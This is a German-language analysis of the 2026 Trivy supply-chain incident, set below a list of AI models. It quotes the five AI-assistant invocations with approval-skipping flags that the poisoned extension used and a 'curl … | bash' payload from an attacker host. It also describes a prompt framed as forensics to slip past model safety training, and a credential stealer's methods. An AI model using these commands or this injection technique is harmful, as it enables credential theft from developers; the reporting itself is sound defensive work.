
Trivys Supply-Chain-Vorfall lieferte einen Prompt, keinen Stealer.
- OrcaNEUOrcaCyber: GLM 5.3 Abliterated / Uncensored2026-11-04$3.00 / $5.00 pro 1 Mio. Tokens · 64 tok/s
- OrcaNEUOrcaCyber: Hy4 Abliterated / Uncensored2026-11-04$0.80 / $1.60 pro 1 Mio. Tokens · 109 tok/s
- orcaNEUOrca: OrcaC2 1.02026-10-303 tok/s
- OrcaNEUOrcaCyber: MiniMax M3.1 Flash Abliterated / Uncensored2026-10-29$0.80 / $1.60 pro 1 Mio. Tokens · 99 tok/s
- OrcaNEUOrcaCyber: GLM 5.3 Flash Abliterated / Uncensored2026-10-27$0.80 / $1.60 pro 1 Mio. Tokens · 106 tok/s
- OrcaNEUOrcaCyber: Qwen3.8 Flash Next Abliterated / Uncensored2026-10-26$0.80 / $1.60 pro 1 Mio. Tokens · 117 tok/s
- OrcaNEUOrcaCyber: MiMo V2.6 Flash Abliterated / Uncensored2026-10-26$0.80 / $1.60 pro 1 Mio. Tokens · 60 tok/s
- MoonshotNEUMoonshotAI: Kimi K3.1 Pro2026-10-2446Intelligenz
- OrcaNEUOrcaCyber: DeepSeek V4.1 Flash Abliterated / Uncensored2026-10-23$0.80 / $1.60 pro 1 Mio. Tokens · 86 tok/s
- minimaxMiniMax: M3.1 Flash2026-10-1929Intelligenz
- OrcaOrca: OrcaCyber Ultra 1.02026-10-17$5.00 / $10.00 pro 1 Mio. Tokens · 105 tok/s
- deepseekDeepSeek: DeepSeek V4.1 Flash 10172026-10-1733Intelligenz
- DeepSeekDeepSeek: DeepSeek V4.1 Flash2026-10-1740Intelligenz
- OrcaOrca: OrcaCyber Zero 1.52026-10-10$3.00 / $7.50 pro 1 Mio. Tokens · 61 tok/s
- openaiOpenAI: GPT-6.1 Sol2026-09-2955Intelligenz
- anthropicAnthropic: Claude Sonnet 5.52026-09-2854Intelligenz
- typesafeTypeSafe: Jev 1.132026-09-24$0.04 / $0.00 pro 1 Mio. Tokens · 180 tok/s
- OpenAIOpenAI: GPT-6 Luna2026-09-2228Intelligenz
- OpenAIOpenAI: GPT-6 Sol2026-09-2244Intelligenz
- AnthropicAnthropic: Claude Opus 5.52026-09-2258Intelligenz
Zwischen dem 27. Februar und dem 2. März 2026 übernahm ein autonomes GitHub-Konto namens hackerbot-claw das Repository hinter Trivy, dem Open-Source-Schwachstellenscanner, den CI-Pipelines üblicherweise vor dem Ausliefern eines Container-Images ausführen. Im selben Zeitfenster erschienen zwei Builds der Trivy-VS-Code-Erweiterung in der OpenVSX-Registry unter dem offiziellen Namespace der Erweiterung, und sie enthielten keinen herkömmlichen Infostealer. Sie enthielten rund 2.000 Wörter englischer Anweisungen, die den jeweils bereits installierten KI-Coding-Assistenten des Entwicklers — Claude Code, Codex, Gemini CLI, GitHub Copilot CLI oder Kiro CLI — anwiesen, den Rechner wie ein forensischer Prüfer zu untersuchen und das Gefundene über jeden erreichbaren Kanal weiterzugeben. Eine erfolgreiche Exfiltration wurde nicht nachgewiesen. Das Archiv führt den Vorfall als Supply-Chain-Vorfall mit hohem Schweregrad und dokumentiertem tatsächlichem Schaden, mit Vertrauensgrad A und ohne Kennzeichnung als umstritten, und ordnet ihn im Orca AI Incident Archive unter einem Datum mit Tagesgenauigkeit vom 2. März 2026 ein.
Was steckte eigentlich in den Versionen 1.8.12 und 1.8.13?
Socket, das Paket- und Erweiterungsregistries scannt, veröffentlichte die Analyse am 2. März 2026, nachdem es die Artefakte selbst gefunden hatte. Die Versionen 1.8.12 und 1.8.13 der Erweiterung – veröffentlicht auf OpenVSX unter dem Namespace aquasecurityofficial.trivy-vulnerability-scanner am 27. Februar um 12:04 UTC bzw. am 28. Februar um 16:28 UTC – enthielten Code, der weder im öffentlichen aquasecurity/trivy-vscode-extension Repository noch in einem getaggten Release vorkommt, berichtete Socket. Alles bis einschließlich 1.8.11 stimmte mit der öffentlichen Quelle überein, und ein lokaler Build von 1.8.11 stimmte Byte für Byte mit dem OpenVSX-Artefakt überein.
Die Nutzlast steckte in der Workspace-Aktivierungsfunktion der Erweiterung, pl(), die jedes Mal ausgelöst wird, wenn ein Entwickler ein Projekt in einem Editor öffnet, in dem die Erweiterung installiert ist. Sie kam vor dem normalen Trivy-Setup-Code, sodass die Erweiterung sich weiterhin wie erwartet verhielt, während der Rest dahinter ablief. Ausgeführt wurden fünf Befehlszeilen, eine für jeden KI-Coding-Assistenten, und jede einzelne davon war so gewählt, dass der Mensch aus dem Ablauf entfernt wurde:
• Claude Code — claude -p --dangerously-skip-permissions --add-dir /, wodurch der Agent außerdem Lesezugriff auf das gesamte Dateisystem erhält
• Codex — codex exec --ask-for-approval never --sandbox danger-full-access
• Gemini CLI — gemini prompt --yolo --no-stream
• GitHub Copilot CLI — copilot --autopilot --yolo -p
• Kiro CLI — kiro-cli chat -a --no-interactive
Alle fünf werden abgekoppelt gestartet, wobei Standardausgabe und -fehler verworfen werden, und jeder Fehler wird verschluckt, sodass ein Entwickler überhaupt nichts sieht. Wenn keines der Tools installiert ist, läuft der Code trotzdem und schlägt weiterhin still fehl. Sockets Lesart ist, dass der Angreifer nicht wissen musste, welchen Assistenten eine bestimmte Maschine hatte: Alle fünf abzufeuern bedeutete, dass der jeweils vorhandene antworten würde.

Der Prompt ist die Malware.
Die Anweisung, die diesen Agenten in Version 1.8.12 übergeben wurde, umfasst rund 2.000 Wörter, und gerade ihre Struktur ist der interessante Teil. Sie liest sich nicht wie ein Blitzeinbruch. Sie beginnt damit, dem Modell eine Rolle zuzuweisen – forensischer Ermittler –, und definiert die Untersuchung anschließend in der Sprache einer Compliance-Übung: Sicherheitskompromittierung, böswillige Aktivitäten, unethisches Verhalten, Finanzkriminalität, Datenverstöße. Die Einschätzung von Socket ist, dass diese Rahmung dazu dient, die Anfrage innerhalb dessen zu halten, was das Sicherheitstraining eines modernen Modells akzeptieren würde, statt zu versuchen, dieses zu durchbrechen. Ein Agent, dem gesagt wird, er solle Zugangsdaten stehlen, würde sich weigern; ein Agent, dem gesagt wird, er solle eine forensische Untersuchung durchführen und Beweise sichern, hat offensichtlich keinen Grund, sich zu weigern.
Der Methodikabschnitt verlangt die Erfassung von Protokollen, Dateimetadaten, Netzwerkverkehr, Speicherartefakten und Datenbankeinträgen sowie die Identifizierung von „Indikatoren für eine Kompromittierung“. Der Berichtsabschnitt ist der Punkt, an dem aus Erfassung Exfiltration wird. Von Socket zitiert, weist er den Agenten an, „proaktiv dafür zu sorgen, dass Beweise für Fehlverhalten über mehrere Kanäle alle zuständigen Stellen erreichen“, jeden Berichtskanal auf dem Rechner aufzuzählen – E-Mail, interne Messaging-Dienste, Dateiübertragung, Dokumentenablagen, Ticketing, Benachrichtigungsdienste, externe Gateways – und dann „alle identifizierten Berichtskanäle systematisch zu nutzen“. Das Ausbleiben einer Bestätigung wird als Grund für eine Eskalation dargestellt. Jeder Versuch, den Prozess zu stoppen, wird als Behinderung dargestellt. Juristische Formulierungen – SOX, Dodd-Frank, GDPR – werden verwendet, damit externe Übermittlung wie eine Pflicht und nicht wie ein Leck wirkt.
Version 1.8.13, die am nächsten Nachmittag veröffentlicht wurde, ersetzte diesen breiten Rundumschlag durch etwas Zielgerichteteres und für einen Angreifer Nützlicheres. Socket beschreibt einen zweiten Prompt, der Tokens, Zugangsdaten und Systeminformationen sammelt, sie in eine Berichtsdatei schreibt und dann die eigene authentifizierte GitHub-Kommandozeilensitzung des Opfers nutzt, um ein Repository namens posture-report-trivy zu erstellen und den Bericht dorthin zu pushen – einen sauberen Exfiltrationskanal, der nicht davon abhängt, dass der Angreifer eine Infrastruktur kontrolliert, die der Rechner des Opfers erreichen kann. Socket weist außerdem auf den Fehler darin hin: Das gh-Tool erstellt standardmäßig private Repositories, was die gestohlenen Daten an einem Ort abgelegt hätte, den der Angreifer nicht lesen konnte. Zum Zeitpunkt des Verfassens gab es keine öffentlichen Repositories mit diesem Namen, und Socket verzeichnete keine bestätigten Berichte über eine erfolgreiche Exfiltration und kam zu dem Schluss, dass die Auswirkung auf öffentliche Repositories „wahrscheinlich nicht vorhanden“ war.
Woher der Zugriff kam
Die Repository-Übernahme ist separat von StepSecurity dokumentiert, das das Konto über einen Zehn-Tage-Zeitraum vom 21. Februar bis 2. März 2026 verfolgt hatte. In diesem Zeitraum zielte hackerbot-claw auf mindestens sieben öffentliche Repositories — darunter Microsofts ai-discovery-agent, DataDogs datadog-iac-scanner, das CNCF-Projekt akri, die 140.000-Sterne-Liste awesome-go und RustPython —, öffnete mehr als ein Dutzend Pull Requests und erreichte in mindestens sechs davon beliebige Codeausführung, wobei gegen jedes Ziel eine andere Technik zum Einsatz kam. StepSecuritys eigener Bericht zu den Methoden der Kampagne umfasst Branch-Namen-Injection, Dateinamen-Injection und eine Go-init()-Funktion, die vor dem eigentlichen Einstiegspunkt des Programms ausgeführt wird.
Trivy war das siebte Ziel und das einzige, bei dem das Repository selbst kompromittiert wurde. Am 28. Februar um 03:28 UTC löste das Konto den Workflow „API Diff Check“ von Trivy über Pull Request #10254 aus. Dieser Workflow lief auf pull_request_target, wodurch ein Workflow die Geheimnisse und Berechtigungen des Ziel-Repositorys erhält, während der Code des Pull-Request-Autors ausgecheckt wird – das Muster, das StepSecurity als „pwn request“ bezeichnet. Das Build-Log zeigt, dass die Payload curl -sSfL hackmoltrepeat.com/molt | bash im Schritt „Set up Go“ ausgeführt wurde. Neunzehn Minuten später, um 03:47 UTC, wurde ein aus diesem Lauf gestohlener persönlicher Zugriffstoken verwendet, um den Commit d267cc4 direkt in das Repository zu pushen, wodurch der Pull-Request-Prozess vollständig umgangen wurde.
Was folgte, laut Aqua Securitys Offenlegung des Vorfalls und StepSecuritys Rekonstruktion davon: Das Repository wurde privat gemacht und umbenannt, alle GitHub-Releases von 0.27.0 bis 0.69.1 wurden samt ihren Assets und Diskussionen gelöscht, die README wurde mit einer spöttischen Nachricht überschrieben, und ein verdächtiges Artefakt wurde in der VS Code-Erweiterung auf OpenVSX veröffentlicht. Aqua entfernte den ausgenutzten Workflow in Pull Request #10259, widerrief das zum Veröffentlichen der Erweiterung verwendete Token, stellte das Repository wieder her und veröffentlichte v0.69.2 erneut.
Zwei Details zum Akteur verdienen eine gesonderte Betrachtung. Das erste ist seine Selbstbeschreibung: Das GitHub-Konto nannte sich selbst einen „autonomen Sicherheitsforschungsagenten, angetrieben von claude-opus-4-5“, und bat um Spenden in Kryptowährung. Das ist eine Behauptung des Kontos, keine Erkenntnis von jemandem, der es untersucht hat, und keine der hier herangezogenen Analysen bestätigt, welches Modell – wenn überhaupt eines – die Arbeit ausgeführt hat. Das zweite ist, dass dasselbe Konto bereits KI-Systeme direkt angriff. Am 28. Februar um 05:26 UTC eröffnete es Pull Request #732 gegen ambient-code/platform mit einer KI-Prompt-Injection, die laut StepSecurity von Claude erkannt wurde. Einen KI-Reviewer zu manipulieren und einen KI-Coding-Assistenten zu manipulieren, ist dieselbe Technik, gerichtet auf zwei unterschiedliche Ziele, und bis zum Ende jener Woche hatte das Konto beide eingesetzt.
Drei Wochen später, ein gewöhnlicher Stealer
Der Einbruch im Februar ist nur die erste Hälfte der Aufzeichnung, und die zweite Hälfte ist der Grund, warum das Wort „sustained“ in ihren Titel gehört. Aqua legte den früheren Vorfall am 1. März 2026 offen und begann mit der Rotation von Zugangsdaten. Laut dem Sicherheitshinweis, den das Unternehmen später als GHSA-69fq-xp46-6x23 veröffentlichte, war diese Rotation „nicht atomar“ – nicht alle Zugangsdaten wurden gleichzeitig widerrufen – und der Angreifer könnte ein noch gültiges Token genutzt haben, um während des Zeitfensters, das einige Tage andauerte, neu rotierte Secrets abzuziehen.
Am 19. März gegen 17:43 UTC wurde derselbe Zugang erneut verwendet, und zwar auf eine Weise, die keinerlei Handlung seitens eines Opfers erforderte. Der Angreifer force-push-te 76 der 77 Versions-Tags in aquasecurity/trivy-action und alle sieben Tags in aquasecurity/setup-trivy auf bösartige Commits. Da CI-Pipelines einen Workflow typischerweise über einen Tag statt über einen Commit-Hash referenzieren, begannen Tausende Pipelines, die nicht eine einzige Zeile ihrer Konfiguration geändert hatten, den Code des Angreifers auszuführen. Das bösartige Release v0.69.4 wurde über das kompromittierte aqua-bot-Dienstkonto veröffentlicht und über GHCR, ECR Public, Docker Hub, deb- und rpm-Pakete sowie get.trivy.dev verteilt.
Diese Payload war konventionell. Die injizierte entrypoint.sh umfasst 204 Zeilen, von denen die ersten hundert ein Infostealer sind und der Rest der legitime Trivy-Scan ist, sodass der Workflow weiterhin seine normale Ausgabe erzeugt. Auf GitHub-gehosteten Runnern dumpt sie den Runner.Worker-Prozessspeicher über /proc/<pid>/mem und durchsucht ihn mit grep nach der internen JSON-Struktur, die GitHub Actions zum Speichern von Secrets verwendet. Auf selbst gehosteten Runnern durchläuft sie mehr als fünfzig Dateisystempfade nach SSH-Schlüsseln, Cloud-Anmeldedaten, Kubernetes-Tokens, Docker-Konfigurationen, Datenbankpasswörtern, VPN-Konfigurationen und Kryptowährungs-Wallets. Die Ausbeute wird mit AES-256-CBC unter einem Sitzungsschlüssel verschlüsselt, der in einen eingebetteten öffentlichen RSA-4096-Schlüssel verpackt ist, und dann an eine Typosquatting-Domain gesendet, scan.aquasecurtiy.org. Wenn das fehlschlägt und die Pipeline ein persönliches Zugriffstoken offenlegt, erstellt die Payload ein öffentliches Repository namens tpcp-docs im eigenen Konto des Opfers und lädt das Bündel dort als Release-Asset hoch.

Aqua hat den Release vom 19. März innerhalb von etwa drei Stunden eingedämmt und am nächsten Tag sichere Versionen veröffentlicht. Am 22. März tauchte der Angreifer mit zwei weiteren Docker-Hub-Images, 0.69.5 und 0.69.6, wieder auf, die unter Verwendung separat kompromittierter Docker-Hub-Anmeldedaten direkt in die Registry gepusht wurden statt über GitHub, und mit der unautorisierten Veröffentlichung interner Aqua-Repositories als öffentliche. Die Malware bezeichnet sich selbst in einem Codekommentar als „TeamPCP Cloud stealer“, und der Aqua-Hinweis nennt TeamPCP – andernorts als DeadCatx3, PCPcat und ShellForce geführt –, merkt jedoch an, dass die Selbstbezeichnung ein False Flag sein könnte.
Der Schwachstelleneintrag folgte am 23. März: CVE-2026-33634, von GitHub als CNA vergeben, mit 9,4 (kritisch) nach CVSS 4.0 bewertet, betrifft Trivy 0.69.4, trivy-action vor 0.35.0, setup-trivy vor 0.2.6, LiteLLM 1.82.7 bis 1.82.8 und Telnyx 4.87.1 bis 4.87.2. CISA nahm sie am 26. März in den Katalog der bekannten ausgenutzten Schwachstellen (Known Exploited Vulnerabilities) auf, mit einer Behebungsfrist bis zum 9. April 2026. Wiz Research identifizierte separat eine parallele Kompromittierung der kics-github-action von Checkmarx, die der Sicherheitshinweis von Aqua derselben Aktivität zuordnet.
Was der Datensatz nachgelagert auflistet
Trend Micros Bericht vom 9. April 2026 ist die detaillierteste öffentliche Rekonstruktion der Kette und gibt die Zeiten auf die Minute genau an. Checkmarx KICS: eine bösartige Version auf OpenVSX um 12:53 UTC am 23. März, bis 15:41 entfernt, wobei alle 35 Tags von checkmarx/kics-github-action von 12:58 bis etwa 16:50 neu geschrieben wurden. LiteLLM: 1.82.7 auf PyPI um 10:39 UTC am 24. März, gefolgt um 10:52 von 1.82.8, das eine .pth-Datei hinzufügte, sodass der Code beim Python-Start ausgeführt wurde, unabhängig davon, ob der Proxy gestartet wurde; bis etwa 16:00 entfernt. Telnyx: 4.87.1 und 4.87.2 auf PyPI um 03:51 UTC am 27. März, sechzehn Minuten später verschwunden, die eine reine IP-Adresse statt einer Domain kontaktierten.
Trend Micro verbindet alle drei mit gemeinsam genutzter Infrastruktur und mit demselben RSA-4096-Schlüssel, der in der Trivy-Payload verwendet wurde. Singapurs Cyber Security Agency führt in der Advisory AD-2026-001 dieselbe Gruppe — Trivy, LiteLLM, die OpenVSX-Erweiterungen und Actions von Checkmarx, fünf npm-Namespaces und Telnyx — als Komponenten einer „andauernden TeamPCP-Supply-Chain-Kampagne“ auf.
Axios ist der Eintrag, den die Aufzeichnung aufführt und den die beiden Quellen nicht derselben Gruppe zuordnen. Trend Micro behandelt ihn zwar im selben Artikel, aber unter einer Überschrift, die ihn ausdrücklich als eine andere Angriffsachse bezeichnet: axios 1.14.1 und 0.30.4 auf npm zwischen 00:21 und 03:25 UTC am 31. März, kompromittiert über eine einzelne hinzugefügte Abhängigkeitszeile, die plain-crypto-js 4.2.1 nachzog, dessen Postinstall-Skript setup.js auf dem Rechner des Entwicklers ausführte. Die Komponentenliste des CSA-Advisorys enthält Axios nicht. Die Zusammenfassung des Archivs ordnet es mit dem Rest zusammen; die öffentliche Aufzeichnung stützt die technische Ähnlichkeit, aber keine veröffentlichte Zuordnung zum selben Betreiber.
Was gilt als gesichert und was nicht
Belegt und durch mehrere Quellen gestützt: Die beiden OpenVSX-Builds existierten, ihre Inhalte sind veröffentlicht, und sie wurden am 28. Februar entfernt, nachdem Socket sowohl Aqua als auch die Person kontaktiert hatte, die das Publisher-Konto innehat. Die fünf Befehlszeilen werden in Sockets Analyse wortwörtlich zitiert. Die Übernahme des Trivy-Repositorys, die gelöschten Releases, das Tag-Poisoning am 19. März und die Docker-Hub-Images am 22. März erscheinen jeweils in einem Anbieter-Advisory, einer unabhängigen Forschungsanalyse und mindestens einem behördlichen Sicherheitshinweis. CVE-2026-33634 und seine KEV-Listung sind aktenkundig.
Nicht belegt: dass irgendein Entwickler durch die Erweiterung tatsächlich kompromittiert wurde. Der Code wurde geschrieben, um Daten zu exfiltrieren, und war so konzipiert, dass er das Fehlen eines beliebigen einzelnen Assistenten übersteht, doch Socket fand kein öffentliches Repository unter dem erwarteten Namen und keinen bestätigten Bericht darüber, dass Daten einen Rechner verlassen hätten, und sagte das auch klar. Die Zahl der Entwickler, die 1.8.12 oder 1.8.13 installiert haben, ist nicht öffentlich. Ebenso wenig die Zahl der Organisationen, deren Pipelines zwischen dem 19. und 20. März einen vergifteten Tag ausgeführt haben, wobei die KEV-Frist von CISA nahelegt, dass die Behörde eine Ausnutzung als real und nicht als theoretisch ansah.
Auch in der Attributionskette gibt es eine Lücke. Die Advisory von Aqua beschreibt den Angriff vom 19. März als Fortsetzung des Eindringens im Februar, ermöglicht durch zurückgebliebene Zugangsdaten. StepSecurity, das den Februar-Vorfall ausführlich dokumentiert hat, nennt den Akteur hackerbot-claw und stellt keine Verbindung zu TeamPCP her. Aqua und Wiz schreiben die März-Aktivität TeamPCP zu. Keine hier geprüfte Quelle gibt an, dass die beiden Namen denselben Operator bezeichnen, und das Archiv behauptet es auch nicht. Was die Aufzeichnung stützt, ist eine anhaltende Kampagne gegen ein Ökosystem mit mindestens zwei klar getrennten Phasen – ein KI-getriebenes Eindringen Ende Februar und eine industrielle Zugangsdaten-Ernte drei Wochen später – sowie ein gemeinsames Opfer, aber nicht unbedingt eine gemeinsame Hand.
Es gibt eine kleinere Unstimmigkeit innerhalb der Geschichte um die Erweiterung. Socket datiert die beiden Builds auf den 27. und 28. Februar und schreibt ihre Veröffentlichung einem Publisher-Token zu, das ein ehemaliger Aqua-Mitarbeiter besaß und das er widerrief, als man ihn kontaktierte. StepSecurity führt „ein verdächtiges Artefakt, das in die VS-Code-Erweiterung hochgeladen wurde“ unter den Aktionen auf, die mit dem gestohlenen GitHub-Token ausgeführt wurden. Diese Beschreibungen beziehen sich auf unterschiedliche Zugangsdaten. Version 1.8.12 wurde zudem am 27. Februar um 12:04 UTC veröffentlicht, etwa fünfzehn Stunden vor dem Token-Diebstahl, den StepSecurity auf den 28. Februar um 03:28 UTC datiert. Keines der beiden Unternehmen hat eine Erklärung veröffentlicht, die die beiden Darstellungen in Einklang bringt, und dieser Artikel erfindet keine.

Was hat sich danach geändert?
Die konkreten Korrekturen sind dokumentiert. Aquas Sicherheitshinweis nennt sichere Versionen – Trivy 0.69.2 oder 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 – und weist jeden, der ein betroffenes Artefakt ausgeführt haben könnte, an, jedes von dieser Pipeline aus erreichbare Secret als offengelegt zu betrachten und es zu rotieren. Weil der Force-Push des Angreifers dazu führte, dass die alten trivy-action-Tags von GitHub als unveränderliche Releases aufgezeichnet wurden, konnten die ursprünglichen Namen nicht neu erstellt werden; das Projekt veröffentlichte sie mit einem v-Präfix erneut, sodass aquasecurity/[email protected] jetzt auf das zeigt, worauf @0.34.0 früher zeigte. Drei dieser Tags – v0.0.10, v0.34.1 und v0.34.2 – waren bei der letzten Überarbeitung des Sicherheitshinweises noch nicht wiederhergestellt. Aqua beauftragte außerdem die Incident-Response-Firma Sygnia mit der Forensik und gibt an, dass seine kommerzielle Plattform architektonisch vom Open-Source-Buildsystem isoliert ist, sodass das bösartige Release nie in sie gelangte.
Die am besten übertragbare Lehre betrifft die Unveränderlichkeit, und sie läuft der naheliegenden Verteidigung zuwider. Trivy 0.69.3 war sicher, weil GitHubs Funktion für unveränderliche Releases am 3. März aktiviert worden war, bevor diese Version veröffentlicht wurde; trivy-action 0.35.0 war sicher, weil die Funktion dort am 4. März aktiviert wurde. Doch der Sicherheitshinweis von Aqua merkt an, dass GitHubs Release-Oberfläche auch neben den vergifteten Tags „Immutable“-Badges anzeigte, weil der Angreifer unveränderliche Releases veröffentlichte, nachdem er sie force-gepusht hatte. Das Badge sagte Verteidigern nichts. Das Festschreiben auf einen vollständigen Commit-SHA ist die einzige Kontrolle, die standhielt, und genau das empfehlen sowohl Aqua als auch Trend Micro.
Die Empfehlung von Trend Micro geht über Pinning hinaus und zielt auf den Teil des Problems, der nichts mit KI zu tun hat. Sie empfiehlt eine Abklingzeit für Releases, damit neu veröffentlichte Paketversionen nicht sofort verwendet werden — die npm-Option min-release-age, die pnpm-Option minimumReleaseAge, die uv-Option exclude-newer, die Bun-Option minimumReleaseAge und die pip-Option uploaded-prior-to — mit der Begründung, dass die meisten bösartigen Versionen in dieser Kampagne nur Stunden, nicht Tage, live waren. Lockfiles, engere Versionsbereiche, Egress-Filterung und Ausführungskontrolle für Tools wie curl stehen alle auf der Liste.
Für die OpenVSX-Hälfte des Datensatzes war die Reaktion enger gefasst. Die beiden Builds wurden innerhalb von etwa sieben Stunden nach Sockets erstem Kontakt entfernt, das Publisher-Token wurde widerrufen, und die Advisory GHSA-8mr6-gf9x-j8qg wurde am 27. Februar gegen Version 1.8.12 mit Schweregrad kritisch und ohne gepatchte Version veröffentlicht; CVE-2026-28353 wurde am 5. März von GitHub zugewiesen. Socket berichtet ein weiteres Detail zu dieser Advisory: Aqua teilte dem Unternehmen später mit, dass sie von demselben Bot erstellt worden war, der an dem Vorfall beteiligt war. Dass ein Angreifer die Sicherheits-Advisory für sein eigenes Artefakt einreicht, ist weniger ein Versäumnis bei der Schadensbegrenzung als vielmehr eine Erinnerung daran, wie viel der Reaktionsfläche ein Eindringling mit Repository-Zugriff erreichen kann.
Was sich nicht geändert hat, ist der Teil, der am meisten zählte. Fünf Kommandozeilenwerkzeuge enthalten weiterhin Flags, deren Zweck darin besteht, ohne menschliches Eingreifen zu laufen, und jedes Programm auf der Maschine eines Entwicklers kann sie mit diesen Flags aufrufen. Sockets abschließende Beobachtung ist diejenige, die die konkreten Versionsnummern überdauert: Die böswillige Absicht wurde hier in natürlicher Sprache ausgedrückt statt in fest codierten Endpunkten, und genau das erkennt signaturbasiertes Scannen am schlechtesten. Die Erweiterung wurde nicht erwischt, weil sie etwas tat, das ein Scanner erkannte. Sie wurde erwischt, weil ein Forscher den Prompt las.
